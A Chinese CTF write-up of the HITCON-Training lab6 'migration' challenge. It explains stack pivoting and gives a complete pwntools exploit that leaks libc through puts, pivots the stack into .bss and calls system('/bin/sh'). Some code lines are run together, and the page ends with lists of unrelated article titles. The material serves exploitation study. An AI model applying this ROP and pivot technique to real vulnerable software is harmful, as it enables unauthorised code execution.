目录

  • Pwn-10月25-Hitcon(三)

    • lab6-migration

      • 检查保护措施
      • 逻辑分析
      • 构造exp

Pwn-10月25-Hitcon(三)

一天一天慢慢来,?

lab6-migration

这个题目涉及到栈迁移(stack-pivot),在ctf-wiki上面是有这个例题和解释的。

该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP。一般来说,我们可能在以下情况需要使用 stack pivoting

  • 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
  • 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
  • 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用

此外,利用 stack pivoting 有以下几个要求:

  • 可以控制程序执行流。
  • 可以控制 sp 指针。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets 一般是
pop rsp/esp

在这题中,溢出长度不够导致无法一次性构造ropchain,并且还限制了main函数溢出的次数。

检查保护措施

checksec migration

开启了NX。

逻辑分析

ida 里面看一看:

buf大小为0x28 = 40字节,而read读取0x40 = 64字节

gdb跑一下,看看具体情况:

也就是说有4个字节被读取到EBP中,剩下20个溢出字节可以用来构造ropchain。

搜索一下可用的gadget:

构造exp

exp:

#!/usr/bin/python
# -*- coding:utf-8 -*-S
from pwn import *
context.log_level = 'debug'p = process('./migration')
elf = ELF("./migration")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")system_libc = libc.symbols["system"]
print "system_libc:"+hex(system_libc)
read_plt = elf.plt["read"]
print "read_plt:"+hex(read_plt)
puts_got = elf.got["puts"]
print "puts_got:"+hex(puts_got)
puts_plt = elf.plt["puts"]
print "puts_plt:"+hex(puts_plt)
puts_libc = libc.symbols["puts"]
print "puts_libc:"+hex(puts_libc)
binsh_libc= libc.search("/bin/sh").next()
print "binsh_libc:"+hex(binsh_libc)leave_ret = 0x08048418
p3ret = 0x08048569 #pop esi ; pop edi ; pop ebp ; ret
p1ret = 0x0804836d #pop_ebp_ret
buf1 = elf.bss() + 0x500
buf2 = elf.bss() + 0x400payload = 'a'*40
# buf1 为ebp,eip ==> read_plt ==> leave_ret为返回地址 ==>read(0,buf1,0x100)
payload +=p32(buf1)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)
#leave;ret ==> mov ebp,esp; pop ebp; ret;
p.recvuntil(" :\n")
p.send(payload)
sleep(0.1)#通过之前的leave_ret,将buf2作为ebp,得到puts_addr,通过libc泄露得到binsh,system_addr
payload=p32(buf2)+p32(puts_plt)+p32(p1ret)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2)+p32(0x100)
p.send(payload)
sleep(0.1)puts_addr =u32(p.recv(4))
print "puts_addr:"+hex(puts_addr)
offset = puts_addr - puts_libc
system_addr = system_libc + offset
binsh = binsh_libc +offset
'''
payload =p32(buf1)+p32(read_plt)+p32(p3ret)+p32(0)+p32(buf1)+p32(0x100)+p32(system_addr)+p32(0xdeadbeef)+p32(buf1)
p.send(payload)
sleep(0.1)
#p.send("/bin/sh\0")
p.interactive()
'''#懵逼栈
payload =p32(buf1)+p32(system_addr)+"bbbb"+p32(binsh)
p.send(payload)
sleep(0.1)
p.interactive()

exp运行效果:

这题伪造假栈帧,从而构造ropchain,简直就是一场消化盛宴,我需要好好消化一下lab6。

今天还看了一下安恒一周年特别赛的一道pwn题--over,做一半发现只能控制ebp和eip???没想到是安恒杯六月赛的一道原题,在ctf-wiki的花式栈溢出技巧里面有,并且和lab6一样也是通过控制ebp和eip来做,但是那题并没有多出来的溢出字节。

总的来说,两种都可以称作伪造假栈帧:CTF-WIKI-花式栈溢出。

转载于:https://www.cnblogs.com/yof3ng/p/9852958.html

Pwn-10月25-Hitcon(三)相关推荐

  1. 小组第三次会议记录(10月25日)

    第三次会议记录 会议名称 小组第三次会议 会议时间 2022年10月25日 会议地点 桃园 面谈要点 汇报工作进度,确定下一阶段任务 需求需求分析文档第二版,主要是增加用例图,类图等 准备概要设计文档 ...

  2. 10月25日lol服务器维护,《LOL》lol10月25日停机维护到什么时候 10.25维护结束时间...

    导 读 英雄联盟8.21版本将在今天更新后全面上线!这次版本新增了万圣节皮肤,以下是本次更新说明,一起来了解一下吧. [英雄联盟版本更新说明] [更新版本]8.21 [更新时间]2018年10月25日 ...

  3. 不停机上线服务_【必看】10月25日本市增值税发票管理系统停机前,这些事一定要办...

    2019年11月1日市税务局将上线增值税发票管理系统2.0版. 新系统上线过渡期间(10月25日-10月31日)部分业务将暂停办理. 详情如下: 一 暂停时间 2019年10月25日0:00-10月3 ...

  4. 会议邀请 | 10月25日北京,首期D2iQ云原生主题论坛正式启动

    在开始今天的内容之前,先问大家一个问题:云原生究竟是什么? 一般来说,"云原生"是一种构建和运行应用程序的方法,它利用了云计算交付模型的优势.CNCF(云原生计算基金会)将&quo ...

  5. 全国计算机四六级报名时间2015,2015年英语四六级口语考试报名时间:10月25日起...

    出国留学网英语栏目提示:2015年11月六级口语考试即将开始报名,请跟着小编一起阅读以下的口语考试相关事宜. 全国大学英语四.六级委员会办公室最新发布的<2015年11月全国大学英语四.六级口语 ...

  6. 4699元!三星Galaxy A90 5G国行版开启预售 10月25日正式开售

    9月3日,三星在韩国推出了此前曝光了很长时间的Galaxy A90系列新机,并且提供5G版本,该机也是三星Galaxy A系列中第一款5G机型,进一步降低5G手机的入手门槛.现在有最新消息,近日全新的 ...

  7. 10月25日-10月29日一周宣讲会安排

    发信人: kangli (天下有雪), 信区: job 标  题: 10月25日-10月29日一周宣讲会安排 发信站: 饮水思源 (2004年10月22日09:28:17 星期五) 法华校区: 一.1 ...

  8. 华北电力大学控制与计算机工程学院怎么样,华北电力大学控制与计算机工程学院实践部10月25日动保劳动感想...

    动物保护感想. 在周六这个本来应该放松的时间,我与同班同学一起去参加动物保护组织的活动,我们一大早就集合,经过一个小时的奔波终于到达了指定的地点,第一次来动物保护中心,在阿姨的带领下我们被分配到一处杂 ...

  9. 神雕侠侣手游服务器维护,《神雕侠侣》10月25日更新维护公告

    亲爱的玩家朋友: 为了给您提供更好的游戏体验,所有服务器将于2012年10月25日早上8:00点进行停机维护,所有服务器预计维护完成时间为12:00,具体开服时间以官方信息为准.请各位玩家提前处理好游 ...

  10. 【历史上的今天】10 月 25 日:Windows XP 诞生;任正非出生;图灵奖编程语言先驱诞生

    整理 | 王启隆 透过「历史上的今天」,从过去看未来,从现在亦可以改变未来. 今天是 2022 年 10 月 25 日,在 2007 年的今天,微软公司宣布与社交网站 Facebook 签署协议,将支 ...

最新文章

  1. VSCode如何自动换行,右侧换行间距长度,隐藏右侧代码预览(Minimap代码缩略图滚动条),比对代码差异窗口也自动换行
  2. 都2020年,开发制作微信小程序商城,需要准备什么资料?应该不会不知道吧!
  3. js全局变量和局部变量
  4. 在路上---一个平凡人的2015年总结及2016年展望
  5. 多串口服务器的工作方式及接线示意图介绍
  6. 1099: 角谷猜想(多实例测试)
  7. 计算机基本的应用是,计算机统考应用基础练习题
  8. matlab 双谱分析,AR双谱估计的Matlab实现.doc
  9. c++获取数组长度查找算法_在C ++中查找数组长度
  10. 让Windows Server 2008+IIS 7+ASP.NET支持10万个同时请求
  11. div垂直居中的几种方法
  12. 桌面计算机休眠快捷键,电脑休眠快捷键是什么
  13. link rel=canonical概念和用法(增加页面权重,利于排名)
  14. 解忧云SMS短信发送系统服务平台源码+解密完美版
  15. 操作系统笔试面试笔记总结
  16. python农历_Python如何实现阳历转阴历的方法分享
  17. 2021Java高级面试题总结:java程序员优秀简历模板
  18. 详解element-ui设置下拉选择切换必填和非必填
  19. Vegas使用技巧——怎么用Vegas叠加视频和图片素材
  20. JavaScript---错误对象

热门文章

  1. 写得蛮好的linux学习笔记[转]
  2. Illustrator 教程,如何将 Illustrator 文档另存为 PDF?
  3. iOS开发之原生二维码扫描rectOfInterest扫描区域
  4. iOS黑魔法-Method Swizzling
  5. 达芬奇调色软件 18 for Mac
  6. MWeb Pro for Mac(Markdown博客生成软件)
  7. kotlin版本组件化+mvvm项目架构
  8. SQL Server 历史SQL执行记录
  9. 关于前端浏览器 IE6bug 解决方案
  10. SLF4J: The requested version 1.5.8 by your slf4j